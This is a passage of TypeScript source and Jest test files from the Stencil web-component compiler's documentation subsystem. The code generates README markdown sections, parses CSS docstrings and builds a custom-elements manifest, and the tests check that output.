` : '' }${prop.docs}`; }; ================================================ FILE: src/compiler/docs/readme/markdown-overview.ts ================================================ /** * Generate an 'Overview' section for a markdown file * @param overview a component-level comment string to place in a markdown file * @returns The generated Overview section. If the provided overview is empty, return an empty list */ export const overviewToMarkdown = (overview: string | undefined): ReadonlyArray => { if (!overview) { return []; } const content: string[] = []; content.push(`## Overview`); content.push(''); content.push(`${overview.trim()}`); content.push(''); return content; }; ================================================ FILE: src/compiler/docs/readme/markdown-parts.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; /** * Converts a list of Shadow Parts metadata to a table written in Markdown * @param parts the Shadow parts metadata to convert * @returns a list of strings that make up the Markdown table */ export const partsToMarkdown = (parts: d.JsonDocsPart[]): ReadonlyArray => { const content: string[] = []; if (parts.length === 0) { return content; } content.push(`## Shadow Parts`); content.push(``); const table = new MarkdownTable(); table.addHeader(['Part', 'Description']); parts.forEach((style) => { table.addRow([style.name === '' ? '' : `\`"${style.name}"\``, style.docs]); }); content.push(...table.toMarkdown()); content.push(``); content.push(``); return content; }; ================================================ FILE: src/compiler/docs/readme/markdown-props.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; export const propsToMarkdown = (props: d.JsonDocsProp[]) => { const content: string[] = []; if (props.length === 0) { return content; } content.push(`## Properties`); content.push(``); const table = new MarkdownTable(); table.addHeader(['Property', 'Attribute', 'Description', 'Type', 'Default']); props.forEach((prop) => { table.addRow([ getPropertyField(prop), getAttributeField(prop), getDocsField(prop), getTypeField(prop), getDefaultValueField(prop), ]); }); content.push(...table.toMarkdown()); content.push(``); content.push(``); return content; }; const getPropertyField = (prop: d.JsonDocsProp) => { return `\`${prop.name}\`${prop.required ? ' _(required)_' : ''}`; }; const getAttributeField = (prop: d.JsonDocsProp) => { return prop.attr ? `\`${prop.attr}\`` : '--'; }; const getDocsField = (prop: d.JsonDocsProp) => { return `${ prop.deprecation !== undefined ? `**[DEPRECATED]** ${prop.deprecation}

` : '' }${prop.docs}`; }; const getTypeField = (prop: d.JsonDocsProp) => { return prop.type.includes('`') ? `\`\` ${prop.type} \`\`` : `\`${prop.type}\``; }; const getDefaultValueField = (prop: d.JsonDocsProp) => { return prop.default?.includes('`') ? `\`\` ${prop.default} \`\`` : `\`${prop.default}\``; }; ================================================ FILE: src/compiler/docs/readme/markdown-slots.ts ================================================ import type * as d from '../../../declarations'; import { MarkdownTable } from './docs-util'; /** * Converts a list of Slots metadata to a table written in Markdown * @param slots the Slots metadata to convert * @returns a list of strings that make up the Markdown table */ export const slotsToMarkdown = (slots: d.JsonDocsSlot[]): ReadonlyArray => { const content: string[] = []; if (slots.length === 0) { return content; } content.push(`## Slots`); content.push(``); const table = new MarkdownTable(); table.addHeader(['Slot', 'Description']); slots.forEach((style) => { table.addRow([style.name === '' ? '' : `\`"${style.name}"\``, style.docs]); }); content.push(...table.toMarkdown()); content.push(``); content.push(``); return content; }; ================================================ FILE: src/compiler/docs/readme/markdown-usage.ts ================================================ import { toTitleCase } from '@utils'; import type * as d from '../../../declarations'; export const usageToMarkdown = (usages: d.JsonDocsUsage) => { const content: string[] = []; const merged = mergeUsages(usages); if (merged.length === 0) { return content; } content.push(`## Usage`); merged.forEach(({ name, text }) => { content.push(''); content.push(`### ${toTitleCase(name)}`); content.push(''); content.push(text); content.push(''); }), content.push(''); content.push(''); return content; }; export const mergeUsages = (usages: d.JsonDocsUsage) => { const keys = Object.keys(usages); const map = new Map(); keys.forEach((key) => { const usage = usages[key].trim(); const array = map.get(usage) || []; array.push(key); map.set(usage, array); }); const merged: { name: string; text: string }[] = []; map.forEach((value, key) => { merged.push({ name: value.join(' / '), text: key, }); }); return merged; }; ================================================ FILE: src/compiler/docs/readme/output-docs.ts ================================================ import { join, normalizePath, relative } from '@utils'; import type * as d from '../../../declarations'; import { AUTO_GENERATE_COMMENT } from '../constants'; import { getUserReadmeContent } from '../generate-doc-data'; import { stylesToMarkdown } from './markdown-css-props'; import { customStatesToMarkdown } from './markdown-custom-states'; import { depsToMarkdown } from './markdown-dependencies'; import { eventsToMarkdown } from './markdown-events'; import { methodsToMarkdown } from './markdown-methods'; import { overviewToMarkdown } from './markdown-overview'; import { partsToMarkdown } from './markdown-parts'; import { propsToMarkdown } from './markdown-props'; import { slotsToMarkdown } from './markdown-slots'; import { usageToMarkdown } from './markdown-usage'; /** * Generate a README for a given component and write it to disk. * * Typically the README is going to be a 'sibling' to the component's source * code (i.e. written to the same directory) but the user may also configure a * custom output directory by setting {@link d.OutputTargetDocsReadme.dir}. * * Output readme files also include {@link AUTO_GENERATE_COMMENT}, and any * text located _above_ that comment is preserved when the new readme is written * to disk. * * @param config a validated Stencil config * @param compilerCtx the current compiler context * @param readmeOutputs docs-readme output targets * @param docsData documentation data for the component of interest * @param cmps metadata for all the components in the project */ export const generateReadme = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, readmeOutputs: d.OutputTargetDocsReadme[], docsData: d.JsonDocsComponent, cmps: d.JsonDocsComponent[], ) => { const isUpdate = !!docsData.readme; const userContent = isUpdate ? docsData.readme : getDefaultReadme(docsData); await Promise.all( readmeOutputs.map(async (readmeOutput) => { if (readmeOutput.dir) { const relativeReadmePath = relative(config.srcDir, docsData.readmePath); const readmeOutputPath = join(readmeOutput.dir, relativeReadmePath); const currentReadmeContent = readmeOutput.overwriteExisting === true ? // Overwrite explicitly requested: always use the provided user content. userContent : normalizePath(readmeOutput.dir) !== normalizePath(config.srcDir) ? (readmeOutput.overwriteExisting === 'if-missing' && // Validate a file exists at the output path (await compilerCtx.fs.access(readmeOutputPath))) || // False and undefined case: follow the changes made in #5648 (readmeOutput.overwriteExisting ?? false) === false ? // Existing file found: The user set a custom `.dir` property, which is // where we're going to write the updated README. We need to read the // non-automatically generated content from that file and preserve that. await getUserReadmeContent(compilerCtx, readmeOutputPath) : // No existing file found: use the provided user content. userContent : // Default case: writing to srcDir, so use the provided user content. userContent; // CSS Custom Properties preservation is now handled centrally in outputDocs const readmeContent = generateMarkdown(currentReadmeContent, docsData, cmps, readmeOutput, config); const results = await compilerCtx.fs.writeFile(readmeOutputPath, readmeContent); if (results.changedContent) { if (isUpdate) { config.logger.info(`updated readme docs: ${docsData.tag}`); } else { config.logger.info(`created readme docs: ${docsData.tag}`); } } } }), ); }; export const generateMarkdown = ( userContent: string | undefined, cmp: d.JsonDocsComponent, cmps: d.JsonDocsComponent[], readmeOutput: d.OutputTargetDocsReadme, config?: d.ValidatedConfig, ) => { //If the readmeOutput.dependencies is true or undefined the dependencies will be generated. const dependencies = readmeOutput.dependencies !== false ? depsToMarkdown(cmp, cmps, config) : []; return [ userContent || '', AUTO_GENERATE_COMMENT, '', '', ...getDocsDeprecation(cmp), ...overviewToMarkdown(cmp.overview), ...usageToMarkdown(cmp.usage), ...propsToMarkdown(cmp.props), ...eventsToMarkdown(cmp.events), ...methodsToMarkdown(cmp.methods), ...slotsToMarkdown(cmp.slots), ...partsToMarkdown(cmp.parts), ...customStatesToMarkdown(cmp.customStates), ...stylesToMarkdown(cmp.styles), ...dependencies, `----------------------------------------------`, '', readmeOutput.footer, '', ].join('\n'); }; const getDocsDeprecation = (cmp: d.JsonDocsComponent) => { if (cmp.deprecation !== undefined) { return [`> **[DEPRECATED]** ${cmp.deprecation}`, '']; } return []; }; /** * Get a minimal default README for a Stencil component * * @param docsData documentation data for the component of interest * @returns a minimal README template for that component */ const getDefaultReadme = (docsData: d.JsonDocsComponent) => { return [`# ${docsData.tag}`, '', '', ''].join('\n'); }; /** * Extract the existing CSS Custom Properties section from a README file. * This is used to preserve CSS props documentation when running `stencil docs` * without building styles. * * @param compilerCtx the current compiler context * @param readmePath the path to the README file to read * @returns array of CSS custom properties styles, or undefined if none found */ export const extractExistingCssProps = async ( compilerCtx: d.CompilerCtx, readmePath: string, ): Promise => { try { const existingContent = await compilerCtx.fs.readFile(readmePath); // Find the CSS Custom Properties section const cssPropsSectionMatch = existingContent.match( /## CSS Custom Properties\s*\n\s*\n([\s\S]*?)(?=\n##|\n-{4,}|$)/, ); if (!cssPropsSectionMatch) { return undefined; } const cssPropsSection = cssPropsSectionMatch[1]; const styles: d.JsonDocsStyle[] = []; // Parse the markdown table to extract CSS custom properties // Table format: // | Name | Description | // | ---- | ----------- | // | `--prop-name` | Description text | const lines = cssPropsSection.split('\n'); let inTable = false; for (const line of lines) { const trimmedLine = line.trim(); // Skip header and separator rows if (trimmedLine.startsWith('| Name') || trimmedLine.startsWith('| ---')) { inTable = true; continue; } // Parse table rows if (inTable && trimmedLine.startsWith('|')) { const parts = trimmedLine .split('|') .map((p) => p.trim()) .filter((p) => p); if (parts.length >= 2) { // Extract the CSS variable name (remove backticks) const name = parts[0].replace(/`/g, '').trim(); const docs = parts[1].trim(); if (name.startsWith('--')) { styles.push({ name, docs, annotation: 'prop', mode: undefined, }); } } } } return styles.length > 0 ? styles : undefined; } catch (e) { return undefined; } }; ================================================ FILE: src/compiler/docs/style-docs.ts ================================================ import type * as d from '../../declarations'; /** * Parse CSS docstrings that Stencil supports, as documented here: * https://stenciljs.com/docs/docs-json#css-variables * * Docstrings found in the supplied style text will be added to the * `styleDocs` param * * @param styleDocs the array to hold formatted CSS docstrings * @param styleText the CSS text we're working with * @param mode a mode associated with the parsed style, if applicable (e.g. this is not applicable for global styles) */ export function parseStyleDocs(styleDocs: d.StyleDoc[], styleText: string | null, mode?: string | undefined) { if (typeof styleText !== 'string') { return; } // Using `match` allows us to know which substring matched the regex and the starting // index at which the match was found let match = styleText.match(CSS_DOC_START); while (match !== null) { styleText = styleText.substring(match.index + match[0].length); const endIndex = styleText.indexOf(CSS_DOC_END); if (endIndex === -1) { break; } const comment = styleText.substring(0, endIndex); parseCssComment(styleDocs, comment, mode); styleText = styleText.substring(endIndex + CSS_DOC_END.length); match = styleText.match(CSS_DOC_START); } } /** * Parse a CSS comment string and insert it into the provided array of * style docstrings. * * @param styleDocs an array which will be modified with the docstring * @param comment the comment string * @param mode a mode associated with the parsed style, if applicable (e.g. this is not applicable for global styles) */ function parseCssComment(styleDocs: d.StyleDoc[], comment: string, mode: string | undefined): void { /** * @prop --max-width: Max width of the alert */ // (the above is an example of what these comments might look like) const lines = comment.split(/\r?\n/).map((line) => { line = line.trim(); while (line.startsWith('*')) { line = line.substring(1).trim(); } return line; }); comment = lines.join(' ').replace(/\t/g, ' ').trim(); while (comment.includes(' ')) { comment = comment.replace(' ', ' '); } const docs = comment.split(CSS_PROP_ANNOTATION); docs.forEach((d) => { const cssDocument = d.trim(); if (!cssDocument.startsWith(`--`)) { return; } const splt = cssDocument.split(`:`); const styleDoc: d.StyleDoc = { name: splt[0].trim(), docs: (splt.shift() && splt.join(`:`)).trim(), annotation: 'prop', mode, }; if (!styleDocs.some((c) => c.name === styleDoc.name && c.annotation === 'prop')) { styleDocs.push(styleDoc); } }); } /** * Opening syntax for a CSS docstring. * This will match a traditional docstring or a "loud" comment in sass */ const CSS_DOC_START = /\/\*(\*|\!)/; /** * Closing syntax for a CSS docstring */ const CSS_DOC_END = '*/'; /** * The `@prop` annotation we support within CSS docstrings */ const CSS_PROP_ANNOTATION = '@prop'; ================================================ FILE: src/compiler/docs/test/custom-elements-manifest.spec.ts ================================================ import { mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing'; import type * as d from '../../../declarations'; import { generateCustomElementsManifestDocs } from '../cem'; describe('custom-elements-manifest', () => { let compilerCtx: d.CompilerCtx; let writeFileSpy: jest.SpyInstance; beforeEach(() => { const config = mockValidatedConfig(); compilerCtx = mockCompilerCtx(config); writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile'); }); afterEach(() => { writeFileSpy.mockRestore(); }); it('does nothing when no custom-elements-manifest output targets are configured', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [], typeLibrary: {}, }; await generateCustomElementsManifestDocs(compilerCtx, docsData, []); expect(writeFileSpy).not.toHaveBeenCalled(); }); it('generates manifest with correct schema version', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); expect(writeFileSpy).toHaveBeenCalledTimes(1); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); expect(writtenContent.schemaVersion).toBe('2.1.0'); expect(writtenContent.modules).toEqual([]); }); it('generates module for each component file', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/components/my-component/my-component.tsx', }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); expect(writtenContent.modules).toHaveLength(1); expect(writtenContent.modules[0].kind).toBe('javascript-module'); expect(writtenContent.modules[0].path).toBe('src/components/my-component/my-component.tsx'); }); it('converts tag name to PascalCase class name', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-awesome-component', filePath: 'src/my-component.tsx', }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.name).toBe('MyAwesomeComponent'); expect(declaration.tagName).toBe('my-awesome-component'); }); it('includes component description', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', docs: 'This is a test component', }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.description).toBe('This is a test component'); }); it('includes attributes from props with attr set', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', props: [ { name: 'firstName', attr: 'first-name', type: 'string', docs: 'The first name', default: "'John'", mutable: false, reflectToAttr: true, docsTags: [], values: [], optional: false, required: false, getter: false, setter: false, }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.attributes).toHaveLength(1); expect(declaration.attributes[0]).toEqual({ name: 'first-name', description: 'The first name', type: { text: 'string' }, default: "'John'", fieldName: 'firstName', }); }); it('includes members (fields) from props', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', props: [ { name: 'count', type: 'number', docs: 'The count value', default: '0', mutable: false, reflectToAttr: false, docsTags: [], values: [], optional: false, required: false, getter: false, setter: false, }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; const field = declaration.members.find((m: any) => m.kind === 'field'); expect(field).toBeDefined(); expect(field.name).toBe('count'); expect(field.type).toEqual({ text: 'number' }); expect(field.readonly).toBe(true); }); it('includes methods', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', methods: [ { name: 'doSomething', docs: 'Does something', docsTags: [], returns: { type: 'Promise', docs: 'Returns nothing' }, signature: 'doSomething(value: string) => Promise', parameters: [{ name: 'value', type: 'string', docs: 'The value to use' }], complexType: { signature: '(value: string) => Promise', parameters: [{ name: 'value', type: 'string', docs: 'The value to use' }], return: 'Promise', references: {}, }, }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; const method = declaration.members.find((m: any) => m.kind === 'method'); expect(method).toBeDefined(); expect(method.name).toBe('doSomething'); expect(method.description).toBe('Does something'); expect(method.parameters).toHaveLength(1); expect(method.return.type).toEqual({ text: 'Promise' }); }); it('includes type references from complexType', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', props: [ { name: 'items', type: 'MyItem[]', docs: 'Array of items', mutable: false, reflectToAttr: false, docsTags: [], values: [], optional: false, required: false, getter: false, setter: false, complexType: { original: 'MyItem[]', resolved: '{ id: string; name: string }[]', references: { MyItem: { location: 'import', path: './types', id: 'src/types.ts::MyItem', }, }, }, }, { name: 'element', type: 'HTMLElement', docs: 'An HTML element', mutable: false, reflectToAttr: false, docsTags: [], values: [], optional: false, required: false, getter: false, setter: false, complexType: { original: 'HTMLElement', resolved: 'HTMLElement', references: { HTMLElement: { location: 'global', path: '', id: 'global::HTMLElement', }, }, }, }, ], events: [ { event: 'itemSelected', docs: 'Fired when item is selected', detail: 'MyItem', bubbles: true, cancelable: false, composed: true, docsTags: [], complexType: { original: 'MyItem', resolved: '{ id: string; name: string }', references: { MyItem: { location: 'import', path: './types', id: 'src/types.ts::MyItem', }, }, }, }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; // Check prop with imported type reference const itemsField = declaration.members.find((m: any) => m.name === 'items'); expect(itemsField.type.text).toBe('MyItem[]'); expect(itemsField.type.references).toEqual([{ name: 'MyItem', module: './types' }]); // Check prop with global type reference const elementField = declaration.members.find((m: any) => m.name === 'element'); expect(elementField.type.text).toBe('HTMLElement'); expect(elementField.type.references).toEqual([{ name: 'HTMLElement', package: 'global:' }]); // Check event with type reference const event = declaration.events[0]; expect(event.type.text).toBe('CustomEvent'); expect(event.type.references).toEqual([{ name: 'MyItem', module: './types' }]); }); it('includes events', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', events: [ { event: 'myEvent', docs: 'Fired when something happens', detail: 'string', bubbles: true, cancelable: true, composed: true, docsTags: [], complexType: { original: 'string', resolved: 'string', references: {}, }, }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.events).toHaveLength(1); expect(declaration.events[0]).toEqual({ name: 'myEvent', description: 'Fired when something happens', type: { text: 'CustomEvent' }, }); }); it('includes slots', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', slots: [ { name: '', docs: 'Default slot content' }, { name: 'header', docs: 'Header slot' }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.slots).toHaveLength(2); expect(declaration.slots[0]).toEqual({ name: '', description: 'Default slot content' }); expect(declaration.slots[1]).toEqual({ name: 'header', description: 'Header slot' }); }); it('includes demos from usage examples', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/components/my-component/my-component.tsx', usagesDir: 'src/components/my-component/usage', usage: { angular: '```html\n\n```', react: '```tsx\nimport { MyComponent } from "my-lib";\n```', }, }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.demos).toHaveLength(2); expect(declaration.demos).toContainEqual({ url: 'src/components/my-component/usage/angular.md', description: '```html\n\n```', }); expect(declaration.demos).toContainEqual({ url: 'src/components/my-component/usage/react.md', description: '```tsx\nimport { MyComponent } from "my-lib";\n```', }); }); it('includes CSS parts', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', parts: [{ name: 'button', docs: 'The button element' }], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.cssParts).toHaveLength(1); expect(declaration.cssParts[0]).toEqual({ name: 'button', description: 'The button element' }); }); it('includes CSS custom properties', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', styles: [ { name: '--my-color', annotation: 'prop', docs: 'The primary color', mode: 'light' }, { name: '--my-other', annotation: 'other', docs: 'Not a prop', mode: 'dark' }, ], }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.cssProperties).toHaveLength(1); expect(declaration.cssProperties[0]).toEqual({ name: '--my-color', description: 'The primary color' }); }); it('includes deprecation info', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', deprecation: 'Use new-component instead', }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const declaration = writtenContent.modules[0].declarations[0]; expect(declaration.deprecated).toBe('Use new-component instead'); }); it('generates exports for each component', async () => { const docsData: d.JsonDocs = { timestamp: 'test', compiler: { name: '@stencil/core', version: '1.0.0', typescriptVersion: '4.0.0' }, components: [ createMockComponent({ tag: 'my-component', filePath: 'src/my-component.tsx', }), ], typeLibrary: {}, }; const outputTargets: d.OutputTargetDocsCustomElementsManifest[] = [ { type: 'docs-custom-elements-manifest', file: '/output/custom-elements.json' }, ]; await generateCustomElementsManifestDocs(compilerCtx, docsData, outputTargets); const writtenContent = JSON.parse(writeFileSpy.mock.calls[0][1]); const exports = writtenContent.modules[0].exports; expect(exports).toHaveLength(2); const jsExport = exports.find((e: any) => e.kind === 'js'); expect(jsExport).toBeDefined(); expect(jsExport.name).toBe('MyComponent'); const ceExport = exports.find((e: any) => e.kind === 'custom-element-definition'); expect(ceExport).toBeDefined(); expect(ceExport.name).toBe('my-component'); }); }); /** * Helper to create a mock JsonDocsComponent with sensible defaults */ function createMockComponent(overrides: Partial = {}): d.JsonDocsComponent { return { dirPath: '', fileName: 'my-component.tsx', filePath: 'src/my-component.tsx', readmePath: 'src/readme.md', usagesDir: 'src/usage', tag: 'my-component', readme: '', overview: '', usage: {}, docs: '', docsTags: [], encapsulation: 'shadow', dependents: [], dependencies: [], dependencyGraph: {}, props: [], methods: [], events: [], styles: [], slots: [], parts: [], customStates: [], listeners: [], ...overrides, }; } ================================================ FILE: src/compiler/docs/test/docs-util.spec.ts ================================================ import { isHexColor, MarkdownTable } from '../../docs/readme/docs-util'; describe('markdown-table', () => { it('header', () => { const t = new MarkdownTable(); t.addHeader(['Column 1', 'Column 22', 'Column\n333']); t.addRow(['Text 1', 'Text 2']); const o = t.toMarkdown(); expect(o).toEqual([ '| Column 1 | Column 22 | Column 333 |', '| -------- | --------- | ---------- |', '| Text 1 | Text 2 | |', ]); }); it('longest column', () => { const t = new MarkdownTable(); t.addRow(['Text aa', 'Text b', 'Text c']); t.addRow(['Text a', 'Text bb', 'Text c']); t.addRow(['Text a', 'Text bb', 'Text cc']); const o = t.toMarkdown(); expect(o).toEqual([ '| Text aa | Text b | Text c |', '| Text a | Text bb | Text c |', '| Text a | Text bb | Text cc |', ]); }); it('3 columns', () => { const t = new MarkdownTable(); t.addRow(['Text 1', 'Text 2', 'Text 3']); const o = t.toMarkdown(); expect(o).toEqual(['| Text 1 | Text 2 | Text 3 |']); }); it('one column', () => { const t = new MarkdownTable(); t.addRow(['Text']); const o = t.toMarkdown(); expect(o).toEqual(['| Text |']); }); it('do nothing', () => { const t = new MarkdownTable(); const o = t.toMarkdown(); expect(o).toEqual([]); }); }); describe('isHexColor', () => { it('should return true for valid hex colors', () => { expect(isHexColor('#FFF')).toBe(true); expect(isHexColor('#FFFFFF')).toBe(true); expect(isHexColor('#000000')).toBe(true); expect(isHexColor('#f0f0f0')).toBe(true); expect(isHexColor('#aBcDeF')).toBe(true); }); it('should return false for invalid hex colors', () => { expect(isHexColor('FFF')).toBe(false); expect(isHexColor('#GGGGGG')).toBe(false); expect(isHexColor('#FF')).toBe(false); expect(isHexColor('#FFFFFFF')).toBe(false); expect(isHexColor('#FF0000FF')).toBe(false); }); it('should return false for non-string inputs', () => { expect(isHexColor('123')).toBe(false); expect(isHexColor('true')).toBe(false); expect(isHexColor('{}')).toBe(false); expect(isHexColor('[]')).toBe(false); }); }); ================================================ FILE: src/compiler/docs/test/generate-doc-data.spec.ts ================================================ import { mockBuildCtx, mockCompilerCtx, mockModule, mockValidatedConfig } from '@stencil/core/testing'; import { DEFAULT_STYLE_MODE, getComponentsFromModules } from '@utils'; import type * as d from '../../../declarations'; import { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub'; import { AUTO_GENERATE_COMMENT } from '../constants'; import { generateDocData, getDocsStyles } from '../generate-doc-data'; describe('generate-doc-data', () => { describe('getDocsComponents', () => { let moduleCmpWithJsdoc: d.Module; let moduleCmpNoJsdoc: d.Module; beforeEach(() => { moduleCmpWithJsdoc = mockModule({ cmps: [ stubComponentCompilerMeta({ docs: { tags: [], text: 'This is the overview of `my-component`', }, }), ], }); moduleCmpNoJsdoc = mockModule({ cmps: [ stubComponentCompilerMeta({ docs: { tags: [], text: '', }, }), ], }); }); /** * Setup function for the {@link generateDocData} function exported by the module under test * @param moduleMap a map of {@link d.ModuleMap} entities to add to the returned compiler and build contexts * @returns the arguments required to invoke the method under test */ const setup = ( moduleMap: d.ModuleMap, ): { validatedConfig: d.ValidatedConfig; compilerCtx: d.CompilerCtx; buildCtx: d.BuildCtx } => { const validatedConfig: d.ValidatedConfig = mockValidatedConfig(); const compilerCtx: d.CompilerCtx = mockCompilerCtx(validatedConfig); compilerCtx.moduleMap = moduleMap; const modules = Array.from(compilerCtx.moduleMap.values()); const buildCtx: d.BuildCtx = mockBuildCtx(validatedConfig, compilerCtx); buildCtx.moduleFiles = modules; buildCtx.components = getComponentsFromModules(modules); return { validatedConfig, compilerCtx, buildCtx }; }; describe('component JSDoc overview', () => { it("takes the value from the component's JSDoc", async () => { const 